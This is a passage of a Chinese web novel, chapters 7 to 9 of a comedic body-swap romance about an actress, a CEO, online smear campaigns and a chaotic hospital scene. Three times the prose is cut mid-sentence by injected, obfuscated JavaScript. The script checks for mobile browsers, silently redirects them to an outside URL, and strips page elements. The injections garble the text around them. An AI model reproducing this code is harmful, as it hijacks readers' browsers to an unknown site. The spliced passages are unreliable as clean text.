裴砚知气笑了,动作优雅地点了点她手里的杯子,矜贵昂首,“我家里随便一个杯子都够买你一身衣服了,说起来也是我亏得比较多吧?” “切,那你这杯子也就值三十块钱,拽什么拽。” 乔缨不服气地撅嘴,语气嚣张,依稀可见往日跋扈张扬的恶女风采。 裴砚知哽住,正要翻书的手一顿,淡淡道:“你在娱乐圈混这么久还没被打死,命也是挺硬的。” 乔缨笑得没心没肺,一脸无所谓地说:"多谢夸奖,建议你没事就去微博广场搜搜我的名字,包治低血压。" “首先,我不会自己去找屎吃。” 裴砚知屈起指节敲敲桌面,不再和她插科打诨,敛了表情正经起来,“其次,你那边应付完后,我们找个地方见面。” 乔缨点头同意,而后困惑地蹙眉,问道:“对了,阿姨还说顾舒柔今天刚回国,让我去机场接她,你知道她长什么样吗?” — 初冬的降温来得猝不及防,雨后地面散发的蒸汽晃得人影虚虚实实,明明是艳阳高照的天气,冷空气却冻得人直发抖。 人来人往的机场,乔缨候在大厅里,盯着手里的照片神情凝重,无语凝噎,拧眉望了望出口通道。 谁家好人相亲给幼儿园的照片啊? 这能认出来就有鬼了。 她叹了口气,双手插兜倚靠在立柱上。 两条无处安放的长腿交叠,显眼无比,在机场来来往往的人群里帅得不像是一个图层的人。 在婉拒了第七个过来拉客的司机后,出口通道里突然风风火火跑出来一个女孩。 她上半身穿着一件黑色冲锋衣,下半身穿着一条深色工装裤,面容姣好,长相清丽。 就是脸色有些蜡黄,俩熊猫眼看着像是被谁吸走了阳气。 女孩把行李推车放在立柱旁,急急忙忙地冲到门口,从外卖员手里接过了一堆外卖袋子,再急匆匆折返回来,把东西堆到行李箱上,蹲在机场大厅里就开始沉浸式干饭。 她吃得狼吞虎咽,眼眶逐渐泛红,颤抖着从袋子里掏出一个白胖白胖的馒头。 咬进嘴里的瞬间,眼泪忽然开始哗哗往下流,一边往嘴里塞一边默默哭泣。 这是打哪儿来逃荒的难民。 几步之外的乔缨表情复杂地盯着她,想劝她悠着点儿别把自己噎死了,又觉得无从下口。 女孩风卷残云地扫完了第五根淀粉肠,又从水果袋里摸出来一颗苹果,双手捧起,举在眼前,表情虔诚得像是在向上帝祈祷。 她张开嘴咬上一口,苹果清脆的声音响起,她缓缓闭上眼睛享受。 如此无聊的水果,却让人感受到她仿佛是在吃什么珍馐美馔。 一个苹果下肚,或许是乔缨的眼神太过直白,宛如饕餮附体一般的女子骤然惊醒。 她不好意思地擦擦嘴,脸涨得比苹果还红,停止进食的动作,尴尬地和她打了个招呼。 “帅哥,你在等人吗?” 乔缨颔首,“白月光回国,我来接。” 女孩的表情微微一动,美食带来的多巴胺让她一颗八卦的心蠢蠢欲动,试探问道:“你白月光长什么样啊?” 这是可以说的吗? 乔缨有些迟疑,给她看了看手机里的照片,自暴自弃道:“说实话,我也不知道。” “……” 看到照片,女孩的笑意僵硬了一瞬,表情怪异地看了乔缨几眼,眼神怀疑,上下打量她一圈。 气氛尴尬,作为一名高情商的职业演员,乔缨敏锐地捕捉到了她脸上的不自然。 这反应,难道说…… 因为原著里并没有出现过这个人物,乔缨还特地从陆嘉泽那里了解了一些信息。 身为京市有头有脸的书香门第之一,听说顾家大小姐人如其名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14793631|158246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,冰肌玉骨,温婉娇软,才情兼备,是个娉娉婷婷的旗袍美人,且在外留学多年,每一处设定都是白月光标配,满满的破碎感。 再看看眼前这个一身冲锋衣、挂着俩大黑眼圈、满脸萎靡、面黄肌瘦、仿佛闹饥荒逃难的灾民一样的人,乔缨的额角抽了抽。 破碎倒是挺破碎的,有点太破碎了。 这哪是去留学啊,这是被流放了吧? “你就是……顾舒柔?” 乔缨惊诧不已,仍旧不敢相信自己的猜测,“我是裴砚知。” “裴砚知?” 顾舒柔紧紧皱着眉头,试图在脑海里搜索这个名字的相关信息。 半晌后,她恍然大悟地一拍大腿,惊道:“是你啊!小时候我还抱过你呢!” 乔缨:“?” “我俩一个幼儿园的,你读中班我读大班,你不记得了?”顾舒柔神情激动起来,“是阿姨让你来接我的吗?” 乔缨瞪大眼睛,只能顺着她的话茫然点头,道:“最近新开了家法国餐厅,听说是米其林三星,不过,姐妹你还吃得下吗?” 不知道哪几个字触发了开关,顾舒柔听罢好像联想到了什么恐怖的东西。 这人立马痛苦地捂住脑袋,连连摇头,身上像有蚂蚁在爬。 她神情恍惚得像失去孩子的可云,不住哀嚎:“别!别带我去吃白人饭!求求你了!” 经过她的苦苦哀求,两人最后选择去了家自助餐厅。 顾舒柔面前叠了两大摞盘子,面前放着一碗比脸盆小不了多少的麻辣烫,左手摆着一大盘烧烤,右手摆着半边西瓜。 她目光炯炯,好像黄鼠狼一样两眼放着绿光,摩拳擦掌地说:“今天姐要奢侈一把。” 乔缨不明所以地吸溜了一口麻辣烫,一个不慎辣椒片卡在嗓子眼儿里了。 她呛出眼泪,一边小声咳嗽一边还不忘凹霸总人设,努力绷着脸,紧张开口:“怎、怎么奢侈?” “今天西瓜就不吃皮了!” 顾舒柔捏紧筷子,双手在空中激昂地挥舞着,飙着眼泪语无伦次。 “螺狮粉再也不用特意留到一月一号了,也不用去后山挖野韭菜了,也不用吃生猪肉包子和斐波那契饭了,呜呜呜呜呜。” 斐波那契饭? 今天的饭等于昨天的剩饭加前天的剩饭是吧? 没点歹毒的智商还真听不懂。 看着眼前如蝗虫过境一般的场面,乔缨表情微妙,欲言又止了良久,还是忍不住问道:“冒昧问一下,您去的是哪个宁古塔?” “德国,”一说到这里,顾舒柔哭得更伤心了,一边往嘴里塞着烤鸭,一边哽咽,“你是不知道,在德国学医的六年,是我人生这八年里,最难忘的十年。” 她抹了把辛酸的眼泪,“难怪小说里的白月光一出国就没了消息,原来去的是德国啊!” 说完这句话,顾舒柔大概是觉得和乔缨闲聊太耽误进食,索性止住了话头,专心致志地埋头吃饭。 全场寂静,偌大的餐厅里只有她扒饭的声音。 餐厅里的员工们似乎也没想到,这么一个文静的小女孩居然能吃出这种鬼动静,都端着盘子假装忙忙碌碌收拾周围餐桌。 连上菜的服务员都不带重样的,视线一直偷偷往她们身上瞟,眼神里更是带着三分惊讶三分同情三分不解和一分想报警。 怎么感觉有点丢脸。 乔缨捂着脸侧过脑袋,假装看不懂他们的表情。 不知过了多久,对面的人逐渐没了声音,连动作都停了下来。 乔缨狐疑地越过摞起来的盘子堆,发现顾舒柔脸朝下埋进了汤里。 她像是突然去世了一样。 安详,且没有一点动静。 乔缨被吓了一跳,赶紧把人从汤里捞了起来。 她顶着一张邪魅狂狷的脸,一边掐顾舒柔的人中,一边对着店员惊恐求助:“救、救命啊!她她她———她撑死了!” 7. 第七章 就在乔缨出发去机场后,裴砚知终于在厨房储物柜里找到了仅存的一包方便面。 等水烧开的间隙,他靠在岛台上百无聊赖地刷着手机。 他决定听从乔缨的建议,打开微博找找屎……找找乐子。 在微博广场上搜了搜乔缨的大名,前几条果不其然全是营销号的黑通稿,后台也是一大片污言秽语的私信和评论。 那些饭圈用词虽然看不太懂,但的确十分难听。 随便扫一眼那些账号名称,黑她和骂她的人无非几类:沈颐的粉丝和阮绵绵的粉丝,以及沈颐买的水军和阮绵绵买的水军。 【沈颐的小宝贝:大姐能不能别蹭了?都被多少人玩过了还来蹭我们家影帝,你配吗你?】 【绵绵世界第一甜:臭不要脸的小三,你不过就是乔家收养的庶女,而绵绵是阮家的嫡女,你拿什么和她斗?】 【情颐绵绵szd:大妈早点退圈吧,打扰人家小情侣甜甜蜜蜜,你也不嫌恶心。】 【纯路人有一说一:请乔缨女士离开男人独立行走,人贵有自知之明,吸血吸到最后一无所有。】 【我不是无良营销号:别买热搜了,学艺先学德,乔缨滚出娱乐圈。】 在键盘上撒把米,鸡啄出来的字都比他们骂得有创意。 但这些无聊的谩骂中还掺杂着很多P遗照和造黄谣的人,内容称得上一句触目惊心,其中包含的赤/裸恶意简直浓重得让人反胃。 越往下看,裴砚知的表情越是冷硬,到最后甚至职业病犯了开始分析舆情。 没了万能的百人秘书团,他现在只能压着怒气一个一个家访。 气泡翻涌,水蒸气袅袅升起。 裴砚知冷着脸地把调料和面饼放入锅中,然后冷着脸切换着软件继续调查。 很容易就能发现,那些造谣生事的营销号几乎全是出自沈颐的经纪公司,而阮绵绵也在明里暗里地推波助澜。 他冷眼看着屏幕,气得笑了出来,再次涌现出一种恨铁不成钢的情绪。 这个乔缨,平时看起来挺机灵的,这会儿铺天盖地的通稿好一副不把她黑成埃塞俄比亚老乡不罢休的架势,怎么就熄火了? 裴砚知顺着黑通稿一路摸到了信息源头,发现乔缨这次大规模挨骂的原因主要有三个。 其一,是她死皮赖脸倒贴沈颐,甚至还要在沈颐和阮绵绵中横插一脚知三当三撬墙脚,cp粉恨不得把她给浸猪笼。 其二,是她仗势欺人,不仅私自删减同剧组男一号的戏份,还欺负对方团队的工作人员。 据说阮绵绵刚进圈时也曾被乔缨故意刁难,在片场连续NG多次扇了她十几巴掌。 其三,是她脾气差,小牌大耍,走哪儿都要助理跟着。而且有多个自称是圈内人士的人爆料,说乔缨为了红不择手段,靠着背景大肆截胡资源,逼得对家退圈。 看完这一条一条的罪状,裴砚知不以为然地抬抬眉。 多大点事。 首先乔缨是沈颐的正牌未婚妻,她亲近沈颐于情于理都没有任何可指摘的地方。 要说low那还是沈颐这个又当又立的懦夫更low。 其次是欺负同组男一号,虽然不清楚娱乐圈的职场生态,但无论放在哪个环境,同一职级的男性被女性欺负就很难让人相信。 至于第三点更是可笑,从乔缨大晚上跑去偷户口本结婚就能看出来,她脑子大概有点毛病,要是不带助理真让她一个人待着,指不定闹出点什么大动静来。 况且,他也不觉得乔缨抢资源的操作有什么问题。 娱乐圈这种封建名利场,不狠点人家只会拿当你傻逼,商场上厮杀的手段只会比这更脏。 而且乔缨如果真有背景给她撑腰,现在就不会是这种口碑了。 看着乔缨留下的这堆烂摊子,裴砚知职业病又犯了,心里莫名其妙燃了起来。 他现在就像是爽文里的主角,开局接手濒临破产的烂公司,最后成为一代商业传奇。 打开微信,他给乔缨撂下了一句斗志昂扬的狠话: 【Dioretsa:你等着,我绝对会让你红的![握拳]】 【磷脂分子:?】 【磷脂分子:你相亲对象吃饭吃晕过去了,我现在在救护车上,要不你赔我点精神损失费吧?】 裴砚知自动忽略了她第二句话,踌躇满志地退出微信,继续互联网调研。 有关沈颐的爆料大部分都是绯闻,评论区画风也是清一色的“我哥哥清清白白,你姐姐倒贴炒作”。 一个月换八个女朋友还被粉丝舞成豪门花花公子和娱乐圈魅魔,随便卖个腐都能翻红。 也是不知道把头都浪掉了,要怎么个回法。 对比乔缨的惨烈现状,男明星真的不要太好混了。 微博广场被粉丝洗白的垃圾信息充斥。 在全网一番检索后,裴砚知才终于从犄角旮旯里扒出来一条好几年前的博文,内容全是沈颐早期微博截图。 辱女恨国开黄腔,能触的雷一个不落,当然现在已经被删得一干二净了。 很好,他相信沈颐的人品,这一定是真的。 这条微博热度很低,当年网络上并不在意这些言论,不像现在人们的意识提高了,对明星的审视也更加严格。 也就是没被爆出来,要不然沈颐的风评哪有现在这么好。 他把截图一一保存了下来,揭开锅盖,把方便面端上餐桌。 这一天,乔俞诚过得也十分混乱。 昨天夜里的大火来得突然,几乎把邻近的几个房间都烧成了灰烬。 而书房的位置比较隐蔽,等他和乔盛合注意到不对劲时,火势已经蔓延到了三楼,现场一片滚滚浓烟。 从火场逃出时,乔盛合因为吸入了过多烟雾昏迷不醒,直到现在还在icu里住着。 乔俞诚则是因为慌不择路,在楼梯上被地毯绊了一跤。 他左侧脸颊摔到高温扶手上,被烫掉一大块皮肤,血肉模糊,在烧伤科痛得死去活来。 市里不少新闻媒体都报道了这次火灾。 虽然起火的原因还在调查,但盛合集团董事长受伤昏迷的消息闹得沸沸扬扬,更有几位大人物还在这次宴会上不慎受伤,一时间阴谋论甚嚣尘上。 股价大跌,群龙无首,不少人像秃鹫一样环伺着乔家,都想来分一杯羹,趁此机会敲骨吸髓。 他现在一个人恨不得掰成八个人用,偏偏乔盛合的状况未知,一天下来要他签字的医疗同意书,比盛合一个月的合同加起来都多,脸上的伤口又疼,整个人烦躁无比。 这时候,他才想起来家里还有个免费的护工,于是打电话联系了乔缨。 一接通,就听到屏幕那头传来一阵“吸溜吸溜”的声音。 他从鼻子里冷哼一声:“你在干什么?” 裴砚知不明所以:“吃牛肉面啊。” 经典红烧牛肉面,不含红烧不含牛肉的,纯面。 乔俞诚惊讶又愤怒地拔高了音量:“我和爸都这样了,你居然还吃得下牛肉面?!” 他怎么也不敢相信。 以前他和乔盛合要是出了什么事,乔缨都会巴巴儿地凑上来献媚,企图在两人面前刷好感。 整体形象就是一个热衷当冤大头的缺爱小丑。 她怎么变了? “乔家养了你这个赔钱货十四年,你爸和你哥出事了,你居然连医院都不来?”乔俞厉声斥责。 他绝口不提乔缨此前受伤的事情,避重就轻地开始道德绑架,语气讽刺道:“你是现在当了大明星翅膀硬了,忘记还有这么多年感情的家人了?乔缨你还有良心吗?看来再优渥的生活也改不了你们下等人骨子里的卑贱,你就该一辈子待在那个破破烂烂的孤儿院里。” 裴砚知不由得皱眉。 他和乔俞诚打过几次交道,这人给他的印象就是个十分温和有礼且谦逊的人。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14793632|158246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 在人前,他总爱谈论乔缨这个妹妹有多么不省心,自己又是多么善良宽厚,哪怕被她万般误解却一直任劳任怨地替她收拾烂摊子,好一个老实人好大哥的形象。 没想到他私底下居然是用这种语气和妹妹说话,明面上还通过败坏乔缨名声来营造自己敦厚亲和的人设,不可谓不阴毒。 乔俞诚这演技堪比老戏骨,估计一天能震惊张姓导演八百回,肾结石都能给他震碎了。 要不是阴差阳错和乔缨互换了身体,连他都快被这个人设骗过去。 裴砚知喝了一口充满工业香精味的汤底,慢条斯理地擦擦嘴,道:“这么严重啊?联合国那边怎么说?要不然你下个诏书吧。” “你少装疯卖傻,爸现在还在icu抢救,等稳定下来后会转去美国治疗,我不管你之后有什么行程安排,立马给我取消了。” 言外之意就是你不去呗。 反正就缺个人去表演父慈子孝,到时候出口转内销让人写个通稿,事情都是乔缨做的,名声都让你占了,鸡贼男想得倒挺美。 “你这个事啊,我跟你讲,不是说,不办。” 裴砚知依旧是慢悠悠的语调:“但我推了这么多工作,你总要给点误工费吧?” 装模作样了半天原来就是为了捞钱,果然是个人品低劣的拜金女。 乔俞诚不屑冷笑:“你要多少?” 裴砚知不清楚实情,不过考虑到乔缨的身份不易太过张扬,说了一个保险的数字:“百分之五的股份。” 乔俞诚听罢,顿时松了一口气。 当初盛合濒临破产,举步维艰,全靠压榨乔缨在娱乐圈的收入才得以维持。 现在这个数字已经比他预想中的低太多。 幸亏乔缨是个傻的。 况且以盛合如今的形势,拉乔缨进来垫背也不错。 尽管在心里一边庆幸一边鄙夷着乔缨的智商,乔俞诚表面上仍旧是一副便秘的表情,好像她占了什么大便宜似的。 他蹙着眉一脸深沉,思考良久,才不情不愿吐出一句话:“好,我答应你,我会让秘书整理好资料,你现在先来医院。” 与此同时。 乔缨正搀扶着顾舒柔从急诊室出来,远远地就看见两个熟悉的人影站在电梯口。 沈颐一脸心疼地刮刮阮绵绵的鼻尖,霸气发言:“不好好照顾自己,罚你今天给我做晚饭。” 阮绵绵右脸上贴着一个绷带,羞涩一笑,锤锤他的臂膀,娇嗔道:“还不都是你,害我被乔缨误会,她才把我推到水池里。” 好晦气。 第一次觉得裴砚知这双5.0的眼睛有点多余了。 乔缨先是翻了个白眼,翻到一半又停住了,思考阮绵绵难道真有这么聪明,这都能猜到是她干的坏事? 不对,是习惯性泼脏水。 毕竟以自己在原著中的定位,“坏事都是乔缨干的”不失为一种思想钢印和路径依赖,所以主角团往她身上扣再多屎盆子都不会被骂,甚至被看作一种爽点。 花了半秒的时间想通后,她又安然地继续进行眼眶运动,一个白眼好悬给她眼皮翻抽筋。 乔缨转过头不再看这对癫公癫婆,视线扫过楼梯,便又看到乔俞诚戴着口罩,眼神阴沉沉地从楼上走下来。 她又纯恶意地瞪了他两眼,诅咒他最好立马摔个大屁股墩。 最后,她沿着乔俞诚的行进方向看向医院大门,一个长腿美女戴着墨镜气定神闲地站在人群中央。 那人逆着阳光,模样熟悉得让她想流泪。 不是,裴砚知,你怎么也来凑热闹了? 隔着一楼的大厅,乔缨努力睁大双眼,向他传递了几个疑问的眼神。 直到眼睛轱辘都快转出火花了,对方才终于注意到了她,墨镜下的脸骤然一僵。 而就在此时,站在一旁围观了她全程操作的顾舒柔终于疑惑出声:“……裴砚知,你是在做什么眼神训练吗?” 8. 第八章 医院里人来人往。 可一内一外的两个人却仿佛时间静止了一样。 顾舒柔也发现了这股涌动的暗流。 她看看乔缨,又看看裴砚知,眼里顿时闪起八卦的火苗,小声道:“我能问你一个问题吗?” 乔缨破罐子破摔地朝她比了个“嘘”的手势,眼神迷离,语气沧桑:“爱过。” 原来如此,前男女朋友相见,气氛确实尴尬,她刚刚差点都想往裴砚知身上撒把糯米了。 乔俞诚走到一半,余光忽然瞥见电梯口的沈颐和阮绵绵,脚步当即顿住,文件掉落在地上。 他怒不可遏地上前,一把揪住沈颐的领子,大吼大叫:“你说你把绵绵当妹妹,但你就是这么照顾她的?” 沈颐沉着脸推开他的手臂,一拳挥到乔俞诚的脸上,恰好打到他受伤的左脸,血迹立马渗出口罩。 他用舌尖舔了一下牙齿,扬起一个痞气十足的笑:“你有什么资格说我?绵绵受伤的时候你又在哪里鬼混?” 阮绵绵捏着小粉拳,嘟着嘴,两只小手在空气里气呼呼地胡乱挥了几下。 反正吧,她也不上去劝架。 就站在原地两眼含泪地干跺脚,带着哭腔嗔怪道:“住手,你们不要再打了啦,快住手,不要为了我打架,大家都是朋友啊!” 看不懂,好高级的朋友关系。 京市不愧是一座古朴的大都市啊,情感市场已经发展到这种程度了吗? 而且顾舒柔左看右看,也没发现中间那女孩受了什么伤,就脸上贴了一个创口贴,再晚点送来医院伤口估计都痊愈了。 顾舒柔在德国熬生熬死了十年,很显然并不认识包括现场这几位在内的国内新兴明星。 她再度疑惑不解地开口:“他们三位是什么关系啊,我咋瞅着有点不正常呢?” “别管了,两个超雄和一个巨婴,都是从精神科里逃出来的。” 背景里的三个人打作一团,乔缨用下巴向她示意一下眼眶上被揍了一拳的沈颐,双手环胸,悠悠开口:“满分十分,你给他颜值打几分?” “0分,有点像骷髅兵。”顾舒柔脱口而出,没有半点犹豫。 乔缨又指了指就算打架也要活得体面,拼命支棱着凹造型,企图用下颚线攻击对手的乔俞诚。 “那这个呢?” 顾舒柔又痛苦地揉揉眼睛,诚恳说道:“这个真喷不了,这个老天赏油喝。” 在两个人窸窸窣窣恶意中伤修罗场三人组的间隙,裴砚知不知什么时候蹿到了乔缨的身旁。 他冷不丁开口:“你来个医院,偷感这么重干嘛?” 乔缨迷惑:“重吗?” 裴砚知点头,言辞犀利地点评:“感觉方圆十里的鸡都被你偷完了。” 然后下一秒,他便顺着乔缨的视线看到了不远处那三道不怎么亮丽的风景线。 在四百度的黑框眼镜和零度的香奈儿墨镜里,他遥遥看见沈颐遗憾落败,狼狈不堪地趴在地上,已经被揍得肿成发面馒头的脸上写满了不甘心。 乔俞诚不知什么时候握住了阮绵绵的手,含情脉脉地和她对视,温声说道:“你右脸有一道口子,我左脸也有一道口子,我们就是两口子。” 裴砚知:“……” 呕。 感觉眼睛又痛了一下,乔家这两兄妹是不是有点克他。 他深吸一口气,半晌后,才平静如水地对乔缨说道:“我有种想一巴掌呼过去的冲动,你拦着我点。” 乔缨盯着他的脸看了又看,总觉得哪里有些不对劲。 怎么感觉眼睛外面多了圈东西? 她伸出手摘下裴砚知的墨镜,又摘下裴砚知的眼镜,鼻梁上果不其然压出来两道明显的红痕。 乔缨差点一口水喷了出来,震撼道:“你居然戴了俩?” 面具之下是更美的面具是吧? 他是不是不知道世界上有种东西叫隐形眼镜? 再仔细看,裴砚知这身衣服穿得也挺恶心的。 因为天气冷,他上半身是一件长到膝盖的起球白色毛衣。 而下半身,则是颇有创造力地搭配了一条印着花里胡哨大LOGO的莫兰迪色系运动裤。 外面再套了个加绒的豹纹短外套,脚上蹬的那双大红色皮靴更是看得人望而生畏,退避三分。 也就是身材好,气质佳,个子也足够高。 墨镜一戴,别人看起来也只会觉得她是个搞亚文化的穿搭博主,要不然还真撑不住这一身丑衣服。 好吧,确实很丑,只是她对自己有滤镜。 “你好像把游戏里的免费服装都套上去了。” 乔缨眉头紧锁,这要是被狗仔拍到了,不得被投稿到明星颜值粉碎bot里嘲笑一辈子啊。 她立马瞅了一眼四周有没有人在偷拍,试图用高大的身躯把裴砚知挡住。 她嘴里不停念叨:“不行,我不允许这么歹毒的穿搭出现在我视线里,谁教你这么穿衣服的?你这简直是违反公序良俗。” 裴砚知无所谓地抬抬眉毛,任由她替自己整理衣服,“穿什么不都一样吗,何必浪费时间。” 一旁的顾舒柔则一直紧盯着裴砚知的脸,不发一言。 裴砚知这时才注意到旁边还有个人,那直勾勾的眼神看得他有些心理不适,不禁蹙眉问道:“您有什么事吗?” 顾舒柔羞涩一笑:“你面骨头骨长得真好看,手部静脉血管清晰,体形也很标准,当你医生应该很幸福。” 裴砚知:? 人群一阵喧嚣,背景里的三人终于被保安团和精神科的人控制住了。 鼻青脸肿的沈颐不顾众人的阻拦,大声疾呼:“你们知道我是谁吗?我本名沈颐,剩下的你自己想吧!” 破了音的喊话在大厅里回荡,清晰无比。 可效果却令人尴尬。 人民群众面面相觑,纷纷表示不认识这号人物。 只有一个耳背的白胡子大爷,中气十足地从鼻孔里冷冷哼出一声: “什么神医,我还中医呢!永定河里的王八也比你这号儿人多些!” 前线的战况传来传去,不知道哪一个环节出了岔子,主角们的修罗场变成了有三名精神病患者从18楼逃了出来。 一听到有精神病人冒充医生,现场有不少看热闹的人都拿出手机录像。 沈颐打掉前排一个小姑娘的手机,恶狠狠地瞪她一眼,唾沫星子横飞:“拍什么拍!都别拍了!不准拍!” 阮绵绵捂着脸恨不得找个地缝钻进去。 而乔俞诚则是害怕被拍到上头条,让盛合集团本就岌岌可危的股价更是雪上加霜,躲避着摄像头往医院外狂奔。 由于他跑得太急,不小心被花坛的铁链绊了个狗吃屎。 又因为刚下过雨的泥土又湿又滑,乔俞诚嘴里含着草,一下子没爬起来,被保安当场捉拿归案。 我去,还真摔了。 乔缨不得不佩服自己这个乌鸦嘴,忍俊不禁地捂起嘴,靠上墙壁闷声笑了起来。 她这一动弹,西装裤腿里顿时露出一截喜庆的红袜子。 搭配着锃光瓦亮的黑皮鞋别有一番韵味。 顾舒柔瞳孔地震:“哥们儿挺潮啊。” 裴砚知无情嘲笑:“还说我呢,你这穿搭也不遑多让。” 乔缨尴尬挠头,顶着裴砚知极有压迫感的眼神,硬着头皮扯淡,干笑两声:“哈哈,那啥,我今年本命年来着。” 押送完修罗场三人组,有个眼熟的精神科护士路过,朝裴砚知挥挥手,热情招呼道:“哎,是你啊,今天来复查吗?” 裴砚知朝身侧的人凉凉一瞥。 乔缨心虚地移开了视线,假装四处看着风景,不动声色往顾舒柔身后挪动几步。 护士却仿佛打开了话匣子,滔滔不绝地开始唠嗑:“上次没来得及细说,我看过你的电影,叫什么来着?哦对对对,《余烬》!那女疯子演挺像的,原来是真有经验呀!咦,你怎么不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14793633|158246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说话了?” 乔缨赶紧扯扯裴砚知的衣袖。 活爹,好歹笑一下啊!不然会被骂耍大牌的! 一向只有别人来讨好他的裴砚知,只能十分僵硬地扯了扯嘴角。 从实际呈现效果来看,不像是打招呼,像是面部神经抽搐了一下。 护士毕竟是专业人士,见他表情怪异,转头看向乔缨,犹犹豫豫问道:“她……” “对,她……” 乔缨深吸一口气,两眼放空,语气沉痛,已经绝望到不想再挣扎了。 “她得了面瘫,还请您帮忙保密。” 好想死。 没想到有一天她会给自己造谣。 护士恍然大悟地点点头,面露同情和裴砚知告别,心道好好一个小姑娘,年纪轻轻的怎么就得了这种病。 “我觉得你应该陪我一百万。” 待护士走后,乔缨神情木然,摊开一只手掌伸到某人眼前,死乞白赖地进行敲诈勒索。 顾舒柔看了半天的双人相声,觉得这两人之间相处的气氛不像是前任,更像是富婆和她的赘婿。 尤其是裴砚知,隐约有一种二婚骗到白富美的窃喜感。 好复杂,看不懂,京市不愧是一座古朴的大都市。 闹剧结束,大厅里有个大叔正收了手机往医院大门走,乔缨余光一瞥,连忙上前拦住了他。 她观察了很久。 在场的所有人里,只有这个大叔的视角卡得最好,拍的过程最完整,运镜功力也强。 主角团三人的洋相他一个都没放过,每个人的表情都清晰无比,还附带endingpose,专业程度堪比爱豆直拍。 乔缨花了四百块从他手机里拷贝了一份。 五分钟后,一条匿名爆料的视频出现在微博。 因为标题起得十分震撼且缺德,开始在粉圈小范围传播: 【为爱冲锋!某沈姓明星医院痛扁情敌,衰仔凌空飞五米!】 另一边,陆嘉泽把行李送到顾宅后,又马不停蹄地赶到医院。 应贺晓女士的要求,今天务必不能让裴砚知逃掉相亲。 他刚停好车,走出地下车库,有个流浪汉模样的人走了过来。 那人皮肤黝黑,嘴唇上一圈邋邋遢遢的胡茬,头发也剃成了寸头的模样,跛着脚一瘸一拐地渐渐靠近。 他身后拖了一个音箱,放着经典悲情音乐:“流浪滴人在外想念你~亲爱滴妈妈~” 那人见到陆嘉泽一身光鲜亮丽的打扮,顿时像猫见到了耗子,眼里流露出几分贪婪。 陆嘉泽眼神警惕地向后退了几步。 果然,那流浪汉停在他跟前,凄凄惨惨地开口:“好心人,我已经三天没吃饭了,你可以借我点钱让我吃一顿美味的午餐吗?” 二十多年的生活经验告诉他,在医院附近乞讨的人,百分之九十九都是假的。 陆嘉泽看着流浪汉手里正在直播的手机,半开玩笑地劝说道:“您去隔壁市长江大桥上看看吧,那儿外卖多,什么都有,还可以吃自助餐呢。” 流浪汉不依不饶,拉着他就开始不断说吉祥话:“好心人,给口饭吃吧,财神住进你家门,恭喜发财又健康,Godblessyou!Godblessyou!” 陆嘉泽被缠得没办法了,只能从四次元秘书口袋里掏出来一盒口香糖,语气无奈:“我只有这个了。” 流浪汉并不嫌弃,大大方方接过口香糖,感激涕零地说了句谢谢,然后转头对着直播间竖起大拇指,粲然一笑。 “OKOK全体目光向我看齐,我宣布个事儿,又要到饭了兄弟们!主播叫什么名字?全平台同名,偷吃贡品的小丁,偷吃贡品的小丁啊,路过的家人们点点关注不迷路啊!” 一旁的路人大脑都萎缩了,目瞪口呆:“我去,他是怎么找到这么小众的赛道的?” 陆嘉泽:…… 不是,先解释一下什么叫贡品。 你礼貌吗? 9. 第九章 姗姗来迟的陆嘉泽一进医院,就看到老板正聚精会神看着手机,阴影里的侧脸轮廓清晰且英挺。 再仔细看,却能发现他虽然双唇紧抿,嘴角却不知为何在快速颤抖着,脸部肌肉也因用力而急速抖动。 有点像赖皮蛇变异了。 就在他快要控制不住的时候,一只手及时伸了出来,轻轻捏住他的嘴,声线冰冷:“我命令你,不准用这张脸做这种表情。” 倒反天罡。 陆嘉泽瞳孔地震,转头看向那只手的主人。 一个穿得花里胡哨的高挑美女正用一种熟悉的冷冽眼神,满脸黑线地和裴砚知对峙。 他总觉得那张脸今天早上好像在哪见过! 一番思索后,女人的长相果然逐渐和百度百科上的某张人脸照重合。 居然就是乔缨本人?! 敢这么对金主,命不要了? 再往旁边一看,顾家千金正站在一旁目不转睛地盯着乔缨看,眼里闪着诡异的光,好像要当场把她给活体解剖了似的。 贵圈真乱。 眼见两位重量级嘉宾都在,陆嘉泽瞬间汗流浃背了,感觉自己误入了什么狗血修罗场。 不是,裴总这运气也真是的,送相亲对象来看病还被金丝雀撞见了。 要素太多,以至于每一个单拎出来都十分炸裂。 这要是被拍到,让他怎么和夫人交代? 你儿子带着他的“跟”和顾家千金来医院约会了? 倒也不是不行,刚好到冬天了,文艺片都是这么演的。 他站在原地扶额苦笑,快速头脑风暴着。 还是裴砚知先看到了犹豫不决的陆嘉泽,顶着乔缨的脸熟稔吩咐道:“Jesse,你先送顾小姐回家休息。” 